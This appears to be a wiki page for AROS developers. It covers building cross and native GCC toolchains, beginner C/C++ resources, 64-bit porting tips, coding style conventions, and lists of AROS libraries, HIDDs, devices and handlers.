[https://arosdevteam.slack.com/join/shared_invite/enQtOTc4Mzg0NDIzNzQ0LWQ2NWZmNmMwNGIwNGEyNTgxNzU3MGFjMTk3ZThmOTQ1MTVjMzhmNTllYWQ0ZTUxMjBjMGE0Y2VjMDJmNTc5MzI#/shared-invite/email Slack Dev Forum] 


====Cross compilers from Windows or Linux====

*Windows WSL2 walkthrough can be [https://arosnews.github.io/how-to-cross-compile-aros-hosted-wsl/ found here] 


you want to build AROS. No problem.

Here are instructions for PC 64-bit:
https://github.com/deadw00d/AROS/blob/master/INSTALL.md

Here are instructions for PC 32-bit:
https://github.com/deadw00d/AROS/blob/alt-abiv0/INSTALL.md

And as always has been the case you can use the contrib archive to 'obtain' the development directory which contains the /native/ AROS gcc compiler and tools. That compiler is used to build AROS itself but can be used outside the AROS build process by providing --sysroot with indicated directory to cross compile for AROS.


'''64 bit'''


'''32 bit'''

A good option for multiple OS is [https://axrt.org/index.php?tab=download-aros AxRuntime lets developers compile their Amiga API-based applications as Linux binaries being able to utilize modern development tools available on Linux, like IDEs, debuggers, profilers, etc] 


Older 32bit guides for Linux hosted compiler

Please install these packages before moving to next step. Below is a reference list for Debian-based distributions. Reference build system was Ubuntu 18.04/20.04 amd64.

subversion git-core gcc g++ make gawk bison flex bzip2 netpbm autoconf automake libx11-dev libxext-dev libc6-dev liblzo2-dev libxxf86vm-dev libpng-dev gcc-multilib libsdl1.2-dev byacc python-mako libxcursor-dev cmake zsh mingw64

Do all of these operations under home directory of your user or another directory where your user has write permissions.

Specifically, in a section &quot;Linux-i386&quot;, be sure first to build the cross-compiler (toolchain-alt-abiv0-i386) and only then AROS itself (alt-abiv0-linux-i386).


Clone &amp; build
&lt;pre&gt;
$ mkdir myrepo
$ cd myrepo
$ git clone https://github.com/deadw00d/AROS.git AROS
$ cd AROS
$ git checkout alt-abiv0
$ cd ..
$ cp ./AROS/scripts/rebuild.sh .
$ ./rebuild.sh
&lt;/pre&gt;

Now to the build selection below - Linux-i386 

Select toolchain-alt-abiv0-i386 - Select alt-abiv0-linux-i386 (DEBUG) 

Start AROS by:
&lt;pre&gt;
$ cd alt-abiv0-linux-i386/bin/linux-i386/AROS
$ ./Arch/linux/AROSBootstrap
&lt;/pre&gt;


Pc-i386 Select toolchain-alt-abiv0-i386 (if not built yet) - Select alt-abiv0-pc-i386

ISO image available in alt-abiv0-pc-i386/distfiles


Now that we have linux-hosted build, we can resume native (option 2).
Run ./rebuild.sh and selection option 2. Wait until it finished, then:
&lt;pre&gt;
$ cd alt-abiv0-pc-i386
$ make
&lt;/pre&gt;

Now
&lt;pre&gt;
$ make bootiso
&lt;/pre&gt;


Now, your compiler is located in toolchain-alt-abiv0-i386 directory and named i386-aros-gcc. Includes are in alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development/include and libraries are in alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development.lib.

This is how then can be passed to the compiler:

/home/xxx/toolchain-alt-abiv0-i386/i386-aros-gcc --sysroot /home/xxx/alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development -L/home/xxx/alt-abiv0-linux-i386-d/bin/linux-i386/AROS/Development/lib 

../toolchain-alt-abiv0-i386/i386-aros-gcc --sysroot bin/linux-i386/AROS/Development local/helloworld/helloworld.c -o local/helloworld/helloworld


Another method was using Debian like distros and download the [https://archives.arosworld.org/index.php?function=browse&amp;cat=development/cross gimmearos.sh script] to setup the developer environment by downloading necessary packages ...  The gimmearos script is a good start in that direction, building the cross compilers and hosted AROS environment, but gimmearos.sh might be out of date or not be completely compatible with any given linux distro. 

In order to do that, you have to compile AROS yourself. Download AROS source archive not contrib. Compile AROS by entering the main directory

 ./configure
 make

([http://http://developers.aros.org/documentation/compiling.html More on compiling AROS]). The result will be a basic AROS system without development tools.

To compile C++ on Linux, type 'make gnu-contrib-crosstools', creating the cross-compilers in ./bin/linux-i386/tools/, named i386-aros-gcc, etc.

'''Note''': Currently, to make the cross compilers usable copy 'collect-aros' from tools/ to tools/i386-aros/bin/. At the moment the cross compilers if used from the Linux command line will only find it when it's there.

If you want to compile native compilers (the Developer Environment), type 'make contrib-gnu-gcc', creating native compilers in AROS' System:Development/bin directory.

When the output needs to be stripped &lt;code&gt;--strip-unneeded --remove-section .comment&lt;/code&gt;

The Obj-C backend should build out of the box.

Open contrib/gnu/gcc/mmakefile.src and search for the line which contains &quot;--enable-languages&quot; and add &quot;objc&quot; to the list of languages that follows it.

    --enable-languages=c,c++,objc

Better make it—enable-languages=c,c++,objc,obj-c++

ObjC++ is broken as soon as you try to use exceptions, but that might change in future GCC versions and it does not hurt having it there already.


Do you need a cross-compiler or a real compiler? In the first case you can get away with just downloading the proper gcc archive, apply the patch and proceed with the normal gcc build. In the case of a real cross-compiler then when downloading the contrib sources, also need to download the normal sources, place the contrib sources into a directory called contrib, need to install autoconf+automake+perl+python, call ./configure, cd into the subdirectory and type make.

to rebuild GCC with host == build == target == i386-pc-aros. So just get the vanilla sources and apply the patches without bothering about the build system?


[https://vmwaros.blogspot.com/2019/10/a-pre-configured-development-machine.html pre-configured VM environment vmware virtual machine to develop AROS and AROS software]


====Native compilers for AROS====

Namely gcc for C or g++ for C++ are supplied with the [[Aros/Developer/Docs#The Developer Environment|Developer Environment]], which is already '''setup''' and part of any current AROS distribution like AROS One or the nightlies 

* Current GCC 6.5 (32bit) though moving to 10.5 and 15.1 (64bit) 
* Older software components. GNU GCC 4.x GNU BinUtils, GNU Fileutils 4.x, GNU Textutils and others usually deprecated 

On single partition systems and the Boot ISO, the AROS Developer environment is installed under &quot;SYS:Development/&quot;. Systems with multiple partitions - such as a Work: partition - tend to install it to there instead, however it can be installed manually to any location. Please remember, if moving, that you will need to correct the Development packages 'install location' env variable to point to the new locations root - look in SYS:S/startup-sequence.

&lt;pre&gt;
Assign Development: SYS:Development 
Assign C: Development:bin ADD 
&lt;/pre&gt;


In the aros build instructions. you need to check out contrib and/or ports into your AROS source directory, as subdirs. then, assuming you are building in an external build dir, as you should, you simply configure and &quot;make contrib&quot; for instance or whatever submodule you might want to build.


===Beginners Tutorials in C C++===

As AROS is [http://eab.abime.net/showthread.php?t=29856 C based] API compatible to AmigaOS 3.x, so most of the information on programming C on the Amiga applies to AROS as well. Please note that there is a lot of AmigaOS 1.3 (1985-1989) and [https://www.markround.com/amigaguide AmigaOS AOS 2.x (1990-1992)] information around but OS3.1 is recommended but limited in amount. 

Brief overview of what is required to write AROS Applications

# Using [[Aros/Developer/Docs/Libraries/Intuition|Intuition]] for basic screens/windows 
# Using graphics within windows via 8bit [[Aros/Developer/Docs/Libraries/Graphics|graphics]] and so onto  15-16-24bit [[Aros/Developer/Docs/Libraries/CGFX|cybergraphx]]
# Load and save work to [[Aros/Developer/Docs/Libraries/DOS|dos]] disk drives
# Using the [[Aros/Developer/Zune|ZUNE GUI Environment]]


Writing native games require this extra information

# Using [[Aros/Developer/AHIDrivers|AHI audio hardware independent API]]
# Using USB joystick/joypad with the Poseidon USB stack through [[Aros/Developer/Docs/Libraries/LowLevel|LowLevel]] library


Additional features that could be added later

# Adding additional [[Aros/Developer/Docs/Libraries/Locale|Locale]] language translations to your program 
# Adding a [[Aros/Developer/Docs/Rexx|AREXX/Regina]] port to your application 
# Executing Amiga(TM) [[Aros/User/DOS|DOS]] commands from your application
# Using [[Aros/Developer/Docs/Libraries/Icon|icons]] (.info files) and icon tooltypes (stack, version, and program startup options)
# Local couch or IP based SANA2 networking co-op multi player gaming support 


Most AmigaOS programming books are nowadays very much out of date as most are from the late 1980s and do not cover later amigaOS releases like 3.1 for example, Rob Peck's book &quot;Programmer's Guide to the Amiga&quot;. The Amiga ROM Kernel manuals aka RKMs like Libraries (3rd edition), Devices (), the AmigaDOS manual (3rd edition) and the Style Guide may have their uses. There are some reference examples from AmigaMail and Devcon notes (available again on an Amiga developers CD 2.1). 

For Arexx then &quot;The Amiga Programmer's Guide to ARexx&quot; by Eric Giguere, which was published by Commodore is useful as well as an &quot;Arexx Cookbook&quot;.


* Beginners C Guide [http://www.iu.hio.no/~mark/CTutorial/CTutorial.html C Tutorial], 
* [http://www.pjhutchison.org/tutorial/amiga_c.html Amiga based but interesting]
* [http://thecguru.com/ C for beginners],
* [http://fresh2refresh.com/c/c-basic-program/ C programming basics] for students, 
* [https://www.edx.org/courses Free Online course] from American Universities 
* Reference Amiga [http://amigadev.elowar.com/ API reference].


* AROS based c source can be found [[Aros/Developer/Docs/Examples|here]] and lots of example code can be found inside [https://github.com/aros-development-team AROS sources] themselves and from the contrib section of the archives from [https://github.com/aros-development-team/contrib Aros site], and study the AROS applications source code, e.g. the test programs from the Tests drawer (folder/directory). Take a look at the code of some smaller AROS programs might be a better and more up to date 

When you upload your builds, please write the architecture (like i386-aros, x86_64-aros, aarch64-aros etc.) in the archive name 
and it is also advisable to write in the field &quot;Requirements&quot; the ABI (ABIv1 leave blank, for PC fork 64bit ABIv11 ends in v11, 32bit ends in , Arm Pi ends ) 


===Compiling C/C++ Code===

Native, although we have a IDE Integrated Development Environment (Murks), it does lack a debugger. Whilst others use a combination of a text editor and shell to edit code. Most though use an AROS hosted on Linux to take advantage of the better GCC tools like GDB and various IDEs.

Open shell - its a menu option at the top left of Wanderer (desktop). Or by using the right Win key and w (or F12 and w) within the directory with the source code. Type in
 sh 
to change the amiga shell into a unix shell. You can then type in ls (unix equivalent to amiga dir). Take a look [http://en.wikibooks.org/wiki/Linux_commands here] for more commands.

For a single file program-name.c or program-name.cpp
 gcc -o program-name program-name.c  
or 
 g++ -o program-name program-name.cpp
or
 g++ -o test -Wall -g main.cc texturelib.cpp xmodelib.cc -lsdl -lgl

To close the shell, click on the top left-hand corner to close (twice). Once to get back the aros shell and then again to close finally. Use [http://freshmeat.net/projects/cksfv/ cksfv] as a test.

Some source code requires the addition of Amiga API libraries, like dos, which you can flag at the compile time as 
 gcc -o julia.exe julia.c -ldos

For DOS use -ldos as example and if you are compiling mui codes it will be -lmui or intuition -lintuition. Other missing symbols are due to linker libraries being necessary for linking in functions that aren't in the standard C libraries. For example some source code would need added

 -lz or -lm or -lpng or -larosc etc.

use this in unix line command mode to search for 'search-item' in many .c files (*.cpp for c++, etc.)
 grep -l 'search-item' *.c

If the program is not executable, try using parameter fno-common 

&quot;Delete #?.o&quot;? Or if you are using abcshell then &quot;rm *.o&quot;


:''More information: [[Aros/Developer/Porting software]]''


=== How to make Apps have AROS 64-bit specific support code ===

[http://www.aros.org/cs/documentation/developers/app-dev/portable.php Portable code] 

AROS64 already uses 64bit addressing, it just doesn't setup the MMU for more than 4GB physical memory currently.
When porting software to AROS64 it is &quot;mostly&quot; a case of converting ULONG's that are used to store pointers, into IPTR's instead, etc. Another quirk, is making sure items on the stack are the correct size by using the STACKED attribute for them. 

* Use texteditor or some tool to replace all &quot;ULONG&quot; with &quot;IPTR&quot; and &quot;LONG&quot; with &quot;SIPTR&quot; in the sources.

compiling mui stuff for aros setting -std=gnu99 is necessary, had -std=c99 usually 
A MUI application most likely needs only the HOOKPROTOxxx SDI macros. They are compatible with AROS, only the attributes (hook, object attribute) must be given in the right order.

crash which suggest memory corruption. From my experience porting from 32-bit to 64-bit these kinds of errors can happen if a pointer is passed somewhere via ULONG variable. Then half of the pointer is cut.

To generate this error, please run AROSBootstrap with -m 1024. This will allocate heap to 64-bit address space which will make these errors immediatelly visible. These types of crashes are hard to debug. Disabled as little code as possible to stop corruption from occurring and then try to read from the code where it can be broken

Crashing in tslf_freevec is another symptom of memory corruption and these memory corruptions will manifest differently on different setups.


==Coding conventions==

As the AROS core source is a shared developer experience, there are rules regarding structure and style. When it comes to your creating your own app and coding, the structure and style should be your own, i.e. you should enjoy what you do and do it so that you can understand what is going on.

===Layout===

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
static void 1st_function()
{
    program
    exit(0);    
}

int main(void)
{
    1st_function();
    2nd_function();
    3rd_function();
    return 0;
}
&lt;/syntaxhighlight&gt;

&lt;syntaxhighlight lang=&quot;c&quot;&gt;

struct Screen * openscreen(void);
struct Window *openwindow(struct Screen *screen, const char *title, LONG x, LONG y, LONG w, LONG h);

VOID 1st_function();
VOID 2nd_function();

int main(int argc, char **argv)
{
    program
    return 0;
} /* main */

VOID 1st_function()
{

}

VOID 2nd_function()
{

}
&lt;/syntaxhighlight&gt;

===General style===

This code is used by many people and therefore you should keep some things in mind when you submit source code:

* Keep things simple 
* Keep the source clean 
* Always know what you are doing, if not flag it and describe what needs to be done... 
* Explain clearly/simply what you are doing 
* Remember that you write code once but that it is read many times by many people

===Comments===

AROS uses some of the comments in the source to generate the documentation. Therefore it's necessary to keep a certain format so the tools can find their information. Other comments are ignored but they should explain what you thought when you wrote the code. If you really can't think of an explanation, then don't write the code a second time like this:

&lt;pre&gt;
/* This adds 1 to t */
t ++;
&lt;/pre&gt;

What we think of is this:

&lt;pre&gt;
/* Go on with next element */
t ++;
&lt;/pre&gt;

===Formatting===

This is only '''IMPORTANT''' if you are going to work on the core AROS code or contrib but not applications which may reside outside like on AROS Archives or other websites.

&lt;syntaxhighlight lang=&quot;c&quot;&gt;
{
    /* a */
    struct RastPort * rp;
    int               a;

    /* b */
    rp = NULL;
    a  = 1;

    /* c */
    if (a == 1)
        printf (&quot;Init worked\n&quot;);

    /* d */
    if
    (
        !(rp = Get_a_pointer_to_the_RastPort
            (
                some
                , long
                , arguments
            )
        )
    ||
        a &lt;= 0
    )
    {
        printf (&quot;Something failed\n&quot;);
        return FAIL;
    }

    /* e */
    a = printf (&quot;My RastPort is %p, a=%d\n&quot;
        , rp
        , a
    );

    return OK;
}
&lt;/syntaxhighlight&gt;

Looks ugly, eh ? :-) Ok, here are the rules:

&lt;pre&gt;
If several lines contain similar code, put similar things below each other (see a and b);
Put spaces between operands and operators
Put braces {}, brackets [] and parentheses () below each other (d) if there is much code between. 
Brackets and parentheses may be in one line if the code between is small (c)
Indent by 4 Spaces. Two indent levels may be abbreviated by one tab.
&lt;/pre&gt;

'''Before committing please normalize the indentation - if you have a mixture of tabs and spaced - please always use spaces, 1 tab = 4 spaces.'''

The reasons for this are:

# While some editors can use an arbitrary sizes for tabs, it's a bit complicated to tell another editor which tab size was used by the one used to write the code. 
# Most code in AROS was written this way and your code should look like the rest. 
# You can print this code on any printer without special tools to &quot;fix&quot; the tabs. 
# Most editors have smart tabs which do exactly this. If your editor doesn't, write a bug report.

If you have a function with many arguments (d, e) you should put the parentheses in lines of their own and each argument in one line (d) or put the first argument behind the opening parentheses (e) and each following argument in a line of its own with the comma in front. The closing parentheses is in a line of its own and aligned with the beginning of the expression (i.e. the a and not the opening parentheses or the printf()).

Use a single blank line to separate logical blocks. Large comments should have a blank line before and after them, small comments should be put before the code they explain with only one blank line before them.

If you see any TABS in AROS core sources then the suggestion is to &quot;detab the file and commit that separately&quot; either before or afterwards from making functionality changes. Make two commits instead of one. This makes it easier for others to see the real changes instead of having to dig through multiple lines of irrelevant diffs.

===Eliminating Global Variables===

i.e. pass variables to functions (local scope) or classes making it easier to track and debug your code.

Any time you find that you need a particular thing in 'a lot of different places', chances are that all those places are conceptually related, and so you can create a class, a namespace, a function, or some other higher-level organizational unit to represent that relationship. This makes the program easier to understand.

Bad Designs

* All variables are global. 
* There are no standalone functions, only sub-procedures which act on the global variables. 
* Every sub-procedure is at least 500 lines to several thousand 
* Every sub-procedure has more than one task to perform 
* Copy-paste is preferred to writing methods, AND subtle changes are made in the middle of the code

Good Designs

* structure program into functions (C or basic) - top-down procedural approach 
* put in class(es) (freepascal or C++) - the object is fixed and you use methods to access the object

&lt;pre&gt;
 class String_List
 {
 private:
 list&lt;string&gt; m_List;  // member
 public:
 void read_strings() { /* read strings into m_List */ }
 void print_strings() { /* write contents of m_List to stdout */ }
 void sort_strings() { /* sort contents of m_List */ }
 void sort_strings_reverse() { /* reverse-sort contents of m_List */ }
 void unique_strings() { /* remove duplicate strings */ }
 };

 int main()
 {
 String_List myList;  // local
 myList.read_strings();
 myList.sort_strings();
 myList.print_strings();
 myList.sort_strings_reverse();
 myList.print_strings();
 myList.unique_strings();
 myList.print_strings();
 return 0;
 }
&lt;/pre&gt;

This way it is very easy to replace the list with new list for debugging purposes, or replacing the methods without replacing the list, when you want different results. You only have to replace the content of the local variables.

 So create the structure that matches your data (linked lists, trees, arrays, etc.) and what to do with them (sorting, searching, etc.)

&lt;pre&gt;
.h usually contain #define #include typedef enum struct extern screen and window definitions (data structures)
.c should contains functions and algorithms
&lt;/pre&gt;

One way to look at it is that menu headings act as the .c file and sub-menu headings as functions.

When you start a project, you place a couple of declarations in the include file. As the project continues, you place more and more declarations in the include file, some of which refer to or contain previous declarations. Before you know it, you have a real mess on your hands. The majority of your source files have knowledge of the data structures and directly reference elements from the structures.
Making changes in an environment where many data structures directly refer to other data structures becomes, at best, a headache. Consider what happens when you change a data structure.

Use good variables names to help clarify code and only comment when you need to explain why a certain programming approach was made.

You're Refactoring Legacy Code, you see a global, you want to get rid of it. How do you do this?

Exactly what to do depends on how the global is used. The first step is to find all uses of the global throughout the code, and get a feel for what the significance of the variable is and how it relates to the rest of the program. Pay particular attention to the &quot;lifetime&quot; of the variable (when it gets initialized, when it is first used, when it is last used, how it gets cleaned up). Then, you will probably make the global a data member of a class (for OO languages), or you will write some get/set functions. Converting to the Singleton Pattern is common, but you may discover that it makes more sense for the data element to be a member of an existing singleton, or maybe even an instance variable.

# Create a basic read method, either as a class or a global function. Replace all reads with the access method, but leave the variable defined as a global.
# Review each of the writes to the method and extract action functions one at a time. Unless two operations are coded identically in the original code, extract each write access separately.
# Change the variable scope from global to local.
# Analyze similar action functions to determine if any can be merged, i.e., there are no functional differences in the results of the function, just differences in the implementation details.
# Review the calls to the read method and see if a more complex functionality should be applied. Follow the approach for writes and unless implementations are identical, create separate access functions. 
# Analyze the access functions for duplication.

As returning variables by &quot;passing by value&quot; are forgotten, so &quot;passing by reference&quot; is often used instead. The reference is a pointer to the variable so the value is remembered when returned.

Alternatives

* Hidden Globals
* Singleton Pattern
* Database or TupleSpace
* Context Object 
* Dependency Injection 
* Stateful Procedures


==AROS/AmigaOS APIs and Docs==

&lt;pre&gt;
Library:
   - Private data structure
   - Many public access methods

Device:
   - Private data structure
   - Two (BeginIO/AbortIO) access methods

Resource:
   - Public data structure
   - *NO* access methods
&lt;/pre&gt;

And, being Amiga OS-compatible, there are exceptions to all of these.


===System Libraries===

The [http://developers.aros.org/ AROS Guide To Libraries] can be used as a guide to individual commands and old Dev Docs are used in application programming.

Amiga/Aros styles libraries are very different from windows and linux libs. Typical .so/dll libraries are foreign to most Amiga-like OS 


*[[Aros/Developer/Docs/Libraries/AROSC|arosc.library]]
*[[Aros/Developer/Docs/Libraries/AmigaGuide|amigaguide.library]]
*[[Aros/Developer/Docs/Libraries/ASL|asl.library]]
*[[Aros/Developer/Docs/Libraries/Bullet|bullet.library]]
*[[Aros/Developer/Docs/Libraries/BSDsocket|bsdsocket.library]]
*[[Aros/Developer/Docs/Libraries/CAMD|camd.library]]
*[[Aros/Developer/Docs/Libraries/Codesets|codesets.library]]
*[[Aros/Developer/Docs/Libraries/CGFX|cybergraphics.library]]
*[[Aros/Developer/Docs/Libraries/CGXVIDEO|cgxvideo.library]]
*[[Aros/Developer/Docs/Libraries/Commodities|commodities.library]]
*[[Aros/Developer/Docs/Libraries/DataTypes|datatypes.library]]
*[[Aros/Developer/Docs/Libraries/DiskFont|diskfont.library]]
*[[Aros/Developer/Docs/Libraries/DOS|dos.library]]
*[[Aros/Developer/Docs/Libraries/Exec|exec.library]]
*[[Aros/Developer/Docs/Libraries/Expansion|expansion.library]]
*[[Aros/Developer/Docs/Libraries/FreeType2|freetype.library]]
*[[Aros/Developer/Docs/Libraries/GadTools|gadtools.library]]
*[[Aros/Developer/Docs/Libraries/Graphics|graphics.library]]
*[[Aros/Developer/Docs/Libraries/Icon|icon.library]]
*[[Aros/Developer/Docs/Libraries/Identify|identify.library]]
*[[Aros/Developer/Docs/Libraries/IFFParse|iffparse.library]]
*[[Aros/Developer/Docs/Libraries/Intuition|intuition.library]]
*[[Aros/Developer/Docs/Libraries/Keymap|keymap.library]]
*[[Aros/Developer/Docs/Libraries/Layers|layers.library]]
*[[Aros/Developer/Docs/Libraries/Locale|locale.library]]
*[[Aros/Developer/Docs/Libraries/LowLevel|lowlevel.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEESingBas|mathieeesingbas.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEEDoubBas|mathieeedoubbas.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEESingTrans|mathieeesingtrans.library]]
*[[Aros/Developer/Docs/Libraries/MathIEEEDoubTrans|mathieeedoubtrans.library]]
*[[Aros/Developer/Docs/Libraries/Mathtrans|mathtrans.library]]
*[[Aros/Developer/Docs/Libraries/MUIMaster|muimaster.library]]
*[[Aros/Developer/Docs/Libraries/Partition|partition.library]]
*[[Aros/Developer/Docs/Libraries/PopUpMenu|popupmenu.library]]
*[[Aros/Developer/Docs/Libraries/OOP|oop.library]]
*[[Aros/Developer/Docs/Libraries/Regina|regina.library]]
*[[Aros/Developer/Docs/Libraries/Reqtools|reqtools.library]]
*[[Aros/Developer/Docs/Libraries/RexxSysLib|rexxsyslib.library]]
*[[Aros/Developer/Docs/Libraries/ScreenNotify|screennotify.library]]
*[[Aros/Developer/Docs/Libraries/TTEngine|ttengine.library]]
*[[Aros/Developer/Docs/Libraries/Thread|thread.library]]
*[[Aros/Developer/Docs/Libraries/Utility|utility.library]]
*[[Aros/Developer/Docs/Libraries/Xadmaster|xadmaster.library]]
*[[Aros/Developer/Docs/Libraries/Workbench|workbench.library]]
*[https://github.com/aros-development-team/AROS/commit/c82e86b8480277998014cc327b56c7664023a52f ClassAct Reaction boopsi class]


===AROS Subsystems===

# [[Aros/Developer/Zune|Zune MUI compatible GUI]]
# [[Aros/Developer/AROSAppPackages|AROS Application Packages]]
# AHI Audio Drivers - [[Aros/Developer/AHIDrivers|Usage]]/[[Aros/Developer/AHIDriversDev|Development]]
# AROSTCP Sana2 Network Interface Drivers - [[Aros/Developer/NICDrivers|Usage]]/[[Aros/Developer/NICDriversDev|Development]]
# [[Aros/Developer/AmiSSL|AmiSSL]]
# gfx.hidd/cybergraphics Video Drivers - [[Aros/Developer/GfxDrivers|Usage]]/[[Aros/Developer/GfxDriversDev|Development]]
# IO Device Drivers - [[Aros/Developer/IODeviceDrivers|Usage]]/[[Aros/Developer/IODeviceDriversDev|Development]]
# USB Device Drivers - [[Aros/Developer/USBDrivers|Usage]]/[[Aros/Developer/USBDriversDev|Development]]
# PCI Device Drivers - [[Aros/Developer/PCIDrivers|Usage]]/[[Aros/Developer/PCIDriversDev|Development]]
# [http://www.libsdl.org/ SDL] [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2013&amp;pid=13333#post_13333 SDL2 coding usage], [https://github.com/search?q=repo%3Aaros-development-team%2Fcontrib%20SDL2&amp;type=code SDL2 commits], [https://github.com/aros-development-team/contrib/commit/c62c3c425c35bac19dadc23be092b0b13a66c76c SDL3 initial commit], []
# [[w:Gallium3D|Gallium 3D]] [http://www.mesa3d.org/ openGL aka Mesa] - [[Aros/Developer/OpenGL|Usage]]/[[Aros/Developer/OpenGLDev|Development]] [http://www.swiftless.com/opengltuts.html Swfitless]
# A small subset of GTK2 through [http://sourceforge.net/projects/gtk-mui/ MUI-GTK] 
# Cairo 2D Engine - [[Aros/Developer/Cairo|Usage]]/[[Aros/Developer/Cairo|Development]]
# [[Aros/Developer/Scalos|Scalos desktop API and plugin modules]]
# [[Aros/Developer/VHI|VHI video driver]]


====HIDDs====

*[[Aros/Developer/Docs/HIDD/HIDDClass|hiddclass.hidd]]
*[[Aros/Developer/Docs/HIDD/Graphics|graphics.hidd]]
*[[Aros/Developer/Docs/HIDD/VesaGfx|vesagfx.hidd]]
*[[Aros/Developer/Docs/HIDD/ATI|radeon.hidd]]
*[[Aros/Developer/Docs/HIDD/NVidia|nvidia.hidd]]
*[[Aros/Developer/Docs/HIDD/Nouveau|nouveau.hidd]]
*[[Aros/Developer/Docs/HIDD/Kbd|kbd.hidd]]
*[[Aros/Developer/Docs/HIDD/Mouse|mouse.hidd]]
*[[Aros/Developer/Docs/HIDD/i2c|i2c.hidd]]
*[[Aros/Developer/Docs/HIDD/IRQ|irq.hidd (deprecated)]]
*[[Aros/Developer/Docs/HIDD/PCI|pci.hidd]]
*[[Aros/Developer/Docs/HIDD/PCIPC|pcipc.hidd]]
*[[Aros/Developer/Docs/HIDD/Serial|serial.hidd]]
*[[Aros/Developer/Docs/HIDD/Thunderbolt|thunderbolt.hidd]]
https://github.com/aros-development-team/AROS/commit/4f02ea691799aff3a01f60cfa5f9182c82fc57a8

HIDD are used for device/peripheral low level hardware support drivers. The HIDD system is split up into a collection of classes with a strict inheritance hierarchy. A HIDD class implements a device driver for a single device or in rare cases a group of devices and provides an interface for other programs and devices to access.
      
In order to maintain portability of interfaces across a wide range of hardware this interface will in general not present the raw interface to the underlying hardware. Instead it will present a generic interface that describes many different hardware implementations. This allows for the best reuse of both interfaces and code.

HIDD API is heavyweight though. You need to open a HIDD library, open oop.library, instantiate an object (even if there's no object); and object calls are more costly compared to plain library calls.


Basically your task is to implement a subclass of hidd.ata.bus for your hardware. just implementing the XXXATA__Hidd_ATABus__xxxxxx methods for the Amiga chipset - and appropriate versions of the interface_xxx.c file(s). pretty much everything in probe.c could be ignored - just write a replacement scan for relevant amiga devices and store whatever info you need in the bus data? only the &quot;SUPPORT_LEGACY&quot; blocks might be related.

You do not need to depend on PCI API. PCI is just a way to discover the hardware on PCs, etc. 
&lt;hidd/pci.h&gt; includes (at some depth) &lt;interface/HW.h&gt;, which defines IID_HW. This comes from the 'generic' HIDD class in: 
 rom/hidds/hidd/hiddclass.conf
did not split up HIDD and HW because they are always used in pair. It's the same as hidd/pci.h bringing definition for: PCI, PCIDriver and PCIDevice. PCI is actually PCIHW, just the name was not changed for backwards compatibility reasons. HW is a 'hub' where HIDD instances plug in.

ATA HIDD aoHidd_ATABus_Use32Bit value is completely ignored unless ata.device first detects correct command line parameter.
Yes. Unfortunately I was unable to find any comment in code or svn history with explanations. Looked  at Linux source, there 32-bit PIO is also controller driver's property. Some of them enable it, some don't.

Actually, switching the default to ON should be safe. ata.device is fail-safe at this because during IDENTIFY command it validates upper 16  bits,  and  if they appear to be zeroes in all 128 longwords, then 32-bit mode is switched off. But, nevertheless, I know how tricky hardware can be, so I decided not to change original behavior. If  you think it's wrong in some cases, then it's possible to add one more  attribute  like  aHidd_ATABus_Default32Bit. If set to YES, then  this means that 32-bit PIO is safe to use by default.


====Devices====

*[[Aros/Developer/Docs/Devices/ATA|ata.device]]
*[[Aros/Developer/Docs/Devices/Console|console.device]]
*[[Aros/Developer/Docs/Devices/Narrator|narrator.device]]
*[[Aros/Developer/Docs/Devices/Printer|printer.device]]
*[[Aros/Developer/Docs/Devices/Trackdisk|trackdisk.device]]
*[[Aros/Developer/Docs/Devices/AmberRAM|amberram.device]]
*[[Aros/Developer/Docs/Devices/Timer|timer.device]]
*[[Aros/Developer/Docs/Devices/|.device]]

The Amiga used [[Aros/Developer/Docs/Devices|Devices]] to communicate with [http://aros-exec.org/modules/newbb/viewtopic.php?start=0&amp;topic_id=3475&amp;viewmode=flat&amp;order=ASC additional hardware]. AROS has replaced these hardware devices with hidd equivalents but some are still retained for backwards compatibility.

Local libraries/devices/handlers,etc. are supposed to override the ones in ROM if their version is higher than the one in ROM.

Here is the list of commands exec default: 
{| class=&quot;wikitable&quot;
| CMD_CLEAR
|  Purge the buffer of the device
|----
| CMD_READ
|  Playback Control
|----
| CMD_STOP
|  Stopped the activity of the device
|----
| CMD_FLUSH
|  Empty the queue of commands
|----
| CMD_RESET
|  Reset a device
|----
| CMD_WRITE
|  Playback Control
|----
| CMD_INVALID
|  Create an error
|----
| CMD_UPDATE
|  Gets updated device
|----
| CMD_START
|  Will restart the device
|----
|}

While most other &quot;stuff you communicate with&quot; in AmigaOS are devices &lt;ref&gt;AMIGA ROM Kernel Reference Manual: Devices, 3rd Edition. Commodore-Amiga, Inc. Addison-Wesley, 1991. {{ISBN|0-201-56775-X}}&lt;/ref&gt; that share a [http://gega.homelinux.net/AmigaDevDocs/ common base interface]. [[Aros/Developer/Docs/Devices1.3|OS 1.3 Device Drivers]].


====Handlers====

:[[Aros/Developer/Docs/Handlers/Pipe|pipe.handler]]
:[[Aros/Developer/Docs/Handlers/Port|port.handler]]
:[[Aros/Developer/Docs/Handlers/SFS|sfs.handler]]
:[[Aros/Developer/Docs/Handlers/FAT|fat.handler]]
:[[Aros/Developer/Docs/Handlers/PFS|pfs.handler]]
:[[Aros/Developer/Docs/Handlers/NTFS|fuse.handler]]
:[[Aros/Developer/Docs/Handlers/FFS|ffs.handler]]

filesystem handlers have their own separate system consisting of completely differently structured messages that dos.library use to pass requests (for things like reading, writing, getting directory contents etc.) to them. AROS originally went with implementing filesystem handlers as devices, which might arguably be more consistent with the rest of the AmigaOS API but which is quite incompatible with AmigaOS itself. However, it made it far harder to port filesystems and the gains were comparatively small, and so there's been a long standing goal of fixing this incompatibility. It has now, June 2011, been reintroduced to all AROS flavors.

are argstr and argsize valid for the handler startup environment?
DOS/RunHandler() calls DOS/CreateNewProcTags(), and then CallEntry() (in rom/dos/exit.c) to start the handler, so yes, argstr and argsize are *present* in the call signature of the handler.

Granted, argstr will be NULL and argsize 0, but those values *are* passed to the handler function using:

&lt;pre&gt;
AROS_UFC3(ULONG, entry,
                         AROS_UFCA(STRPTR, argptr, A0),
                         AROS_UFCA(ULONG, argsize, D0),
                         AROS_UFCA(struct ExecBase *, SysBase, A6));
&lt;/pre&gt;

